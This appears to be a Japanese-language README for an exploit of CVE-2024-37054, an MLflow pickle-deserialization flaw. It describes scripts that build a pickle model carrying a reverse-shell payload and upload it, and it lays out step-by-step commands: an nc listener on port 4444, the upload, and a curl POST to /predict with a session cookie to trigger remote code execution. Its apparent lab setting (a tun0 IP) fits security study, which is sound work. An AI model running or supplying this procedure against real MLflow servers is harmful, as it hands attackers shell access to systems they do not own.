
CVE-2024-37054 のエクスプロイト: 悪意のある pickle モデルを生成し、MLflow にアップロードし、/predict エンドポイントを介してリモートコード実行をトリガーします。
| ファイル | 目的 |
|---|---|
generate_model.py | リバースシェルペイロードを含む悪意のある model.pkl を生成する |
upload_model.py | pickle を MLflow にアップロードし、Production に昇格させる |
sample.csv | /predict エンドポイントをトリガーするために使用される CSV ファイル |
generate_model.py を編集し、自分の tun0 IP を設定します:
python3 generate_model.py
nc -lvnp 4444
upload_model.py を編集します:
MLFLOW を http://127.0.0.1:5000 に設定するMODEL_NAME をメインドメインで確認できるアクティブなモデル名に設定するpython3 upload_model.py
クライアントアプリから新しいセッションクッキーを取得し、次のコマンドを実行します:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
リスナーにシェルが接続されます。
MLflow モデルレジストリを介した Pickle 逆シリアル化
MLflow は、登録されたモデルを Python の pickle.load() を使用して読み込みます。細工された pickle をモデルアーティファクトとしてアップロードし、Production に昇格させると、その後の /predict への呼び出しによってサーバー側でペイロードが逆シリアル化され、アプリケーションユーザーとして認証なしの RCE が達成されます。